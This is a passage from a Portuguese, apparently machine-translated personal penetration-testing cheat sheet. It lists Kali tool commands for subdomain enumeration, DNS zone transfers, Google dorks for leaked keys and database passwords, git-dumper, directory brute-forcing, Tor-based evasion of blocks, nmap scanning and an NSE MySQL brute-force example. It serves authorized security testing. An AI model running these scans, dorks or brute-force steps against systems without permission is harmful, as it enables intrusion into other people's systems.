Esta é mais uma lista de verificação para mim. Pode conter dicas e truques úteis.
Tudo foi testado no Kali Linux V2023.1 (64 bits).
Para obter ajuda com qualquer uma das ferramentas, escreva <tool_name> [-h | -hh | --help] ou man <tool_name> .
Às vezes -h pode ser confundido com um host ou alguma outra opção. Se for esse o caso, use -hh ou --help , ou leia o manual com man .
Algumas ferramentas realizam tarefas semelhantes, mas obtêm resultados ligeiramente diferentes. Execute tudo o que puder. Muitas ferramentas também se complementam!
Lembre -se de que quando nenhum protocolo nem número da porta em um URL são especificados, ou seja, se você especificar apenas somesite.com , algumas ferramentas serão inadimplentes para o protocolo HTTP e a porta 80.
Se você já não o fez, leia o Guia de Testes de Segurança da Web OWASP. A lista de verificação pode ser baixada aqui.
Altamente recomendo a leitura de questões de segurança comuns na Web orientada financeira.
Sites que você deve usar ao escrever o relatório:
Minhas outras folhas de trapaça:
0. Instale ferramentas e configure
1. Reconhecimento
2. Digitalização/enumeração
3. ASSESENTO/EXPLOITE VURABILIDADE
4. Pós -exploração
5. Cracking de senha
6. Engenharia Social
7. Diversos
A maioria das ferramentas pode ser instalada com o Linux Package Manager:
apt-get update && apt-get -y install sometoolPara mais informações, visite kali.org/tools.
Algumas ferramentas Python precisam ser baixadas e instaladas manualmente:
python3 setup.py install
Ou instalado a partir do Pypi:
pip3 install sometool
python3 -m pip install sometool
Algumas ferramentas de Golang precisam ser baixadas e construídas manualmente:
go build sometool.go
Ou instalado diretamente:
go install -v github.com/user/sometool@latest
Para mais informações, visite pkg.go.dev.
Para configurar Golang, execute:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc Se você usar outro console, pode ser necessário escrever para ~/.bashrc , etc.
Algumas ferramentas que estão na forma de binários ou scripts de shell podem ser movidas para /usr/bin/ diretório para a facilidade de uso:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolAlgumas ferramentas Java precisam ser baixadas e executadas manualmente com Java (JRE):
java -jar sometool.jar
Lista de APIs úteis para integrar em suas ferramentas:
Faça o download de uma lista de agentes usuários seguros de bot, requer scrapeops.io API Key:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'Faça o download de uma lista de resolvedores de DNS confiáveis ou manualmente de mais trapaceiros/resolvedores:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'Se o Google ou qualquer outro mecanismo de pesquisa ou serviço bloquear sua ferramenta, use Proxychains-NG e Tor para ignorar a restrição.
Instalação:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher Faça as seguintes alterações em /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Certifique -se de comentar qualquer tipo de cadeia que não seja round_robin - por exemplo, comente strict_chain em # strict_chain .
Comece a Tor:
service tor start
Em seguida, execute qualquer ferramenta que desejar:
proxychains4 sometool
Usando apenas o Tor provavelmente não será suficiente, você precisará adicionar mais proxies (1) (2) a /etc/proxychains4.conf ; No entanto, é difícil encontrar proxies gratuitos e estáveis que ainda não estão na lista negra.
Baixe uma lista de proxies gratuitos:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtLembre -se de que alguns sites [legados] só podem estar acessíveis através de navegadores da Web específicos, como o Internet Explorer ou Edge.
Lembre -se de que alguns sites podem estar perdendo a página de índice e podem não redirecioná -lo para a página inicial real. Se for esse o caso, tente adivinhar manualmente um caminho completo para a página inicial, use Wayback Machine ou Gau para encontrar URLs antigos ou tente o Directory Fuzzing com Feroxbuster ou Dirbuster.
Pesquise na Internet por caminhos e arquivos padrão / predefinidos para obter um aplicativo Web específico. Use as informações coletadas em combinação com o Google Dorks, Chad e HTTPX para encontrar os mesmos caminhos e arquivos em diferentes domínios. Para aplicativos da Web não tão comuns, tente encontrar e navegue no código-fonte para caminhos e arquivos padrão / predefinidos.
Você pode encontrar o código -fonte do aplicativo no Github, Gitlab, SearchCode, etc.
Pesquise o código -fonte do aplicativo para chaves, credenciais, segredos, tokens, hosts etc. Não se esqueça de verificar o antigo Github cometidos para chaves de API antigas, mas ainda ativas, credenciais, segredos, tokens, etc.
Inspecione o console da web quanto a possíveis erros. Inspecione o código -fonte do aplicativo para obter possíveis comentários.
Não se esqueça de acessar o servidor da Web em um endereço IP, pois você pode encontrar a página de boas -vindas padrão do servidor ou algum outro conteúdo.
Reunir informações:
dmitry -wines -o dmitry_results.txt somedomain.com
Descontinuado. A pesquisa netcraft não funciona.
Reunir informações:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
Essa ferramenta está mudando os mecanismos de pesquisa com bastante frequência, como tal, alguns deles podem não funcionar a partir dessa leitura.
Às vezes, o arquivo de saída pode padrão para /usr/lib/python3/dist-packages/theHarvester/ diretório.
Extrair nomes de host dos resultados:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtExtraia os IPs dos resultados:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtExtraia e -mails dos resultados:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtExtraia e -mails dos resultados:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtEncontre metadados e informações ocultas em arquivos.
Testado no sistema operacional Windows 10 Enterprise (64 bits).
Requisitos mínimos:
A GUI é muito intuitiva.
Instalação:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Defina suas chaves da API em /root/.config/uncover/provider-config.yaml como seguinte:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
Reúna informações usando Shodan, Censys e mais:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtPara fazer: mais Shodan e Censys Dorks.
Reúna subdomínios usando osint:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtReúna subdomínios usando osint:
sublist3r -o sublister_results.txt -d somedomain.com
Instalação:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Reúna subdomínios usando osint:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
O subfinder possui resolvedores de DNS embutidos.
Defina suas chaves da API em /root/.config/subfinder/config.yaml como seguinte:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
Reúna subdomínios usando osint:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
A AMASS tem resolvedores de DNS embutidos.
Para encontrar asns do IPS e CIDRS do ASNS, use o WHOIS. As varreduras abaixo do ASN e CIDR levarão muito tempo para terminar. Os resultados podem não estar tudo dentro do seu escopo permitido pelo cliente!
Reúna subdomínios da ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
Reúna subdomínios da CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
Fetch Name Servers:
dig +noall +answer -t NS somedomain.com
Fetch Exchange Servers:
dig +noall +answer -t MX somedomain.com
Interrogar um servidor de nomes de domínio:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Pegue o arquivo de zona de um servidor de nomes de domínio:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Pesquisa de IP reversa:
dig +noall +answer -x 192.168.8.5
[Aquisição do subdomínio] Verifique se os domínios/subdomínios estão mortos, procure códigos de status NXDOMAIN , SERVFAIL ou REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtConsulte a ferramenta host para a próxima etapa.
Interrogar servidores de nomes de domínio:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
Por padrão, Fierce realizará um ataque de dicionário com sua lista de palavras embutida.
Interrogar servidores de nomes de domínio:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
O DNSRecon pode realizar um ataque de dicionário com uma lista de palavras definida pelo usuário, mas especifique um caminho completo para a lista de palavras; Caso contrário, o DNSRecon pode não reconhecê -lo.
Certifique -se de especificar um caminho completo para o arquivo de saída; Caso contrário, ele padrão para /usr/share/dnsrecon/ diretório, ou seja, no diretório raiz.
Extrair nomes de host dos resultados padrão/zona de transferência/força bruta:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtExtraia os IPs dos resultados padrão/de transferência de zona/força bruta:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[Subdomínio aquisição] Extrair nomes canônicos dos resultados padrão/de transferência de zona/força bruta:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtPesquisa de IP reversa:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Extrair hosts virtuais dos resultados da pesquisa de IP reverso:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtAlguns servidores DNS não responderão às verbas do DNS do tipo 'qualquer', use o tipo 'a'.
Reúna IPS para os domínios/subdomínios fornecidos (peça A ):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtVerifique se os domínios/subdomínios estão vivos com httpx. Verifique se o IPS está vivo com o NMAP fazendo a varredura de ping.
Reúna hosts virtuais para os IPs fornecidos (peça registros PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Aquisição do subdomínio] Reúna nomes canônicos para os domínios/subdomínios de erro fornecidos (peça registros CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtReúna os ASNs do IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtReúna CIDRs do ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[Aquisição do subdomínio] Reúna os nomes da organização da IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtVerifique se algum IP pertence à organização do GitHub, leia mais sobre a aquisição do GitHub neste artigo H1.
Instalação:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Obtenha a chave da API do ProjectDiscovery em Cloud.projectDiscovery.io e Run:
asnmap -auth
Reúna Cidrs de ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtReúna CIDRs do ID da organização:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtVerifique se os domínios/subdomínios estão vivos, mapa hosts ao vivo:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443Filtrar domínios/subdomínios dos resultados do JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtVerifique se existe um diretório em um servidor da Web:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitReúna URLs da máquina Wayback:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtFiltre os URLs dos resultados:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtInstalação:
go install -v github.com/utkusen/urlhunter@latestReúna URLs dos serviços de encurtamento de URL:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
Bancos de dados do Google Dork:
Verifique a lista de arquivos /.well-known/ aqui.
O Google Dorking não mostrará diretórios nem arquivos que não são permitidos em robots.txt , para verificar esses diretórios e arquivos, use httpx.
site:www.somedomain.com para limitar seu escopo a um domínio/subdomínio especificado. Anexo site:*.somedomain.com para limitar seu escopo a todos os subdomínios. Appender site:*.somedomain.com -www para excluir o subdomínio www dos resultados.
Simples Google Dorks:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Encontre e baixe arquivos usando um Google Dork:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
Extraia autores (e mais) dos arquivos:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtEncontre listagens de diretórios usando um Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
Mais sobre o meu projeto em Ivan-Sincek/Chade.
Faça o download da versão mais recente do Github e verifique como instalar a ferramenta.
Obtenha uma informação do número de telefone:
phoneinfoga scan -n +1111111111
Obtenha uma informação de número de telefone interagindo com a interface do usuário:
phoneinfoga serve
Navegue para http://localhost:5000 com seu navegador preferido da web.
Tente reconstruir um repositório do GitHub, ou seja, obter o código -fonte, com base no histórico de commit de um diretório público /.git :
git-dumper https://somesite.com/.git git_dumper_results
Essa ferramenta pode não ser capaz de reconstruir todo o repositório sempre, mas ainda pode revelar algumas informações confidenciais.
Alguns comandos git adicionais para experimentar o diretório clonado /.git :
git status
git log
git checkout -- .
git restore .
Use Google Dorking e Chad para encontrar mais metas.
Instalação:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installProcure chaves sensíveis dentro de um único repositório ou toda a organização no Github:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Pesquise chaves sensíveis dentro de arquivos e diretórios:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
Mais sobre o projeto no TruffleSecurity/Truffflehog.
Para fazer: terminar.
Mais sobre o projeto em Ivan-Sincek/Arquivo-raspador.
Instalação:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Rastreie um site:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
Rastreie um site, baixe e embeleza os arquivos JavaScript [Minified]:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
Caso você não obtenha resultados ao usar o navegador sem cabeça do dramaturgo, tente atualizá -lo:
pip3 install --upgrade playwright
playwright install chromium
Mais sobre o meu projeto em Ivan-Sincek/Scrapy-raspador.
Raspe os arquivos JavaScript usando o trufflehog e o Arquivo Scraper.
Não se esqueça que o sistema operacional GNU/Linux possui um sistema de arquivos sensível ao caso; portanto, use as listas de palavras corretas.
Se você não receber nenhum hits enquanto forçando os diretórios brutos, tente arquivos de força bruta especificando extensões de arquivo.
As ferramentas abaixo suportam o diretório recursivo e a pesquisa de arquivos. Além disso, eles podem levar muito tempo para terminar, dependendo das configurações e da lista de palavras usadas.

Figura 1 - Dirbuster
Todas as listas de palavras de Dirbuster estão localizadas em /usr/share/dirbuster/wordlists/ diretório.
Diretórios de força bruta em um servidor da web:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
Esta ferramenta é mais rápida que o Dirbuster.
Filtrar os diretórios dos resultados:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| Opção | Descrição |
|---|---|
| -u | O URL de destino (necessário, a menos que [--stdin |--resume-from] seja usado) |
| --stdin | Leia URL (s) de Stdin |
| -a/-a | Define o agente do usuário (padrão: Feroxbuster / xxx) / use um agente de usuário aleatório |
| -x | Extensão (s) de arquivo (s) para pesquisar (ex: -x php -x pdf, js) |
| -m | Quais métodos de solicitação HTTP devem ser enviados (padrão: GET) |
| --dados | Corpo do pedido; pode ler dados de um arquivo se a entrada começar com um @(ex: @post.bin) |
| -H | Especifique os cabeçalhos HTTP a serem usados em cada solicitação (ex: -h cabeçalho: val -h 'coisas: coisas') |
| -b | Especifique os cookies http a serem usados em cada solicitação (ex: -b material = coisas) |
| -Q | Parâmetros de consulta URL da solicitação (ex: -q token = stuff -q secret = chave) |
| -f | Anexar / ao URL de cada solicitação |
| -s | Códigos de status a serem incluídos (LIST LIST) (Padrão: 200.204.301.302.307.308.401.403.405) |
| -T | Número de segundos antes dos tempos de solicitação de um cliente (padrão: 7) |
| -k | Desativa a validação de certificado TLS para o cliente |
| -t | Número de threads simultâneos (Padrão: 50) |
| -n | Não digitalize recursivamente |
| -c | Caminho para a lista de palavras |
| --auto-bail | Pare automaticamente a digitalização quando uma quantidade excessiva de erros é encontrada |
| -B | Solicite automaticamente extensões de backup provavelmente para URLs "encontrados" (padrão: ~, .Bak, .Bak2, .old, .1) |
| -q | Ocultar barras de progresso e banner (bom para janelas tmux com notificações) |
| -o | Arquivo de saída para escrever resultados para (use w/ --json for json entradas) |
Faça o download da versão mais recente do Github. Veja como instalar a ferramenta.
Pesquise um servidor da Web por arquivos sensíveis:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtDownload:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releasePesquise um servidor IIS por arquivos e diretórios:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
Identifique um site:
whatweb -v somesite.com
Teste todas as entradas robots.txt :
parsero -sb -u somesite.com
Pegue capturas de tela dos sites:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
Para verificar as capturas de tela, navegue para o diretório eyewitness_results/screens .
Você pode encontrar rockyou.txt Inside /usr/share/wordlists/ diretório ou interna sectistas - uma coleção útil de vários tipos de listas de palavras para avaliações de segurança.
Instale os seclists (a coleção será armazenada em /usr/share/seclists/ diretório):
apt-get update && apt-get install seclistsMinha contribuição para os recusação: Danielmiessler/Seclists/Tree/Master/Fuzzing/Months
Outra coleção popular da lista de palavras:
Lembre -se de que os aplicativos ou serviços da Web podem ser hospedados em outras portas além de 80 (HTTP) e 443 (HTTPS), por exemplo, eles podem ser hospedados na porta 8443 (HTTPS).
Lembre -se de que nas portas 80 (HTTP) e 443 (HTTPS), um servidor da Web pode hospedar diferentes aplicativos ou serviços da Web. Use NCAT ou Telnet para agarrar banner.
Lembre -se de que, em diferentes caminhos de URL, um servidor da Web pode hospedar diferentes aplicativos ou serviços da Web, por exemplo, somesite.com/app_one/ e somesite.com/app_two/ .
Ao digitalizar vulnerabilidades ou executar outras verificações intensivas, verifique periodicamente o aplicativo ou serviço da Web se ele travar, para que você possa alertar seu cliente o mais rápido possível; Ou, caso você tenha a taxa limitada pelo Web Application Firewall (WAF) ou algum outro produto de segurança, para que você possa pausar suas varreduras, porque todas as suas solicitações subsequentes serão bloqueadas e seus resultados não serão concluídos.
Se um aplicativo ou serviço da web parar de repente, tente acessar o aplicativo ou serviço da web usando seus dados móveis, ou seja, usando um IP diferente. É possível que seu IP atual tenha sido temporariamente bloqueado.
Envie uma mensagem de email para um endereço inexistente no domínio da Target, ele geralmente revelará informações úteis de rede interna por meio de uma notificação de NONDeliveryring (NDN).
Obtenha uma comunidade de Nessus gratuita e, se puder pagar, obtenha o Burp Suite Professional ou o Caido.
Para obter melhores resultados, use IPS em vez de nomes de domínio.
Varredura de ping, mapa hosts ao vivo:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
Alguns servidores da Web não responderão às solicitações de ping (ICMP); portanto, o mapeamento dos hosts ao vivo não será preciso.
Extrair hospedeiros ao vivo dos resultados:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtTCP Scan, todas as portas:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
Automatize a varredura TCP:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneDigitalização UDP, apenas portas importantes:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Automatize a varredura UDP:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| Opção | Descrição |
|---|---|
| -sn | Ping Scan - Desativar a varredura de porta |
| -Pn | Trate todos os anfitriões como online - Pule a descoberta do host |
| -n/-r | Nunca resolva a resolução DNS/sempre resolva (padrão: às vezes) |
| -ss/st/sa | TCP SYN/CONNECT ()/ACK |
| -su | Scan UDP |
| -p/-p- | Somente digitalize portas especificadas/digitalize todas as portas |
| --top-ports | Escanear portos mais comuns |
| -sv | Sonda portas abertas para determinar informações de serviço/versão |
| -O | Ativar detecção do sistema operacional |
| -Sc | O mesmo que - -script = padrão |
| --Script | Script Scan (leva tempo para terminar) |
| --Script-ARGS | Forneça argumentos aos scripts |
| --Script-Help | Mostrar ajuda sobre scripts |
| -on/-ox/-og | Varredura de saída em formato normal, XML e Grepable |
| -v | Aumente o nível de verbosidade (use -vv ou mais para maior efeito) |
| --razão | Exibir o motivo pelo qual uma porta está em um estado particular |
| -UM | Ativar detecção do sistema operacional, detecção de versão, digitalização de scripts e traceroute |
Todos os scripts do NMAP estão localizados em /usr/share/nmap/scripts/ diretório. Leia mais sobre os scripts aqui.
Exemplos NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
